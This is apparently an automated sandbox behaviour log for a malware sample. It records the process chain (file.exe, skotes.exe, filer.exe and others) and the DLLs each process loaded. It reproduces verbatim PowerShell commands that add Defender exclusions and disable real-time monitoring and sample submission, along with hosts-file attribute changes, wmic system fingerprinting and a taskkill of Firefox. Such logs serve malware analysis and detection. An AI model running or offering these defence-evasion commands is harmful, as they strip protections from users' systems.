Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6780 --field-trial-handle=2052,i,15578154844592680099,333288393923744452,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6916 --field-trial-handle=2052,i,15578154844592680099,333288393923744452,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBGIJJKKJJD.exe "C:\Users\user\DocumentsBGIJJKKJJD.exe"
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe "C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe "C:\Users\user~1\AppData\Local\Temp\1009393001\60114bff78.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe "C:\Users\user~1\AppData\Local\Temp\1009399001\Tq4a1Bz.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe "C:\Users\user~1\AppData\Local\Temp\1009400001\4edf09f764.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe "C:\Users\user~1\AppData\Local\Temp\1009401001\6af0f0d802.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009402001\1623118d84.exe "C:\Users\user~1\AppData\Local\Temp\1009402001\1623118d84.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe "C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe"
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic cpu get Name
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get UUID
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Process created: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe "C:\Users\user~1\AppData\Local\Temp\1009399001\Tq4a1Bz.exe"
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Process created: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe "C:\Users\user~1\AppData\Local\Temp\1009399001\Tq4a1Bz.exe"
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1009402001\1623118d84.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1009402001\1623118d84.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1009402001\1623118d84.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1009402001\1623118d84.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1009402001\1623118d84.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1009402001\1623118d84.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: opengl32.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: glu32.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: dinput8.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: xinput1_4.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: devobj.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: inputhost.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: hid.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
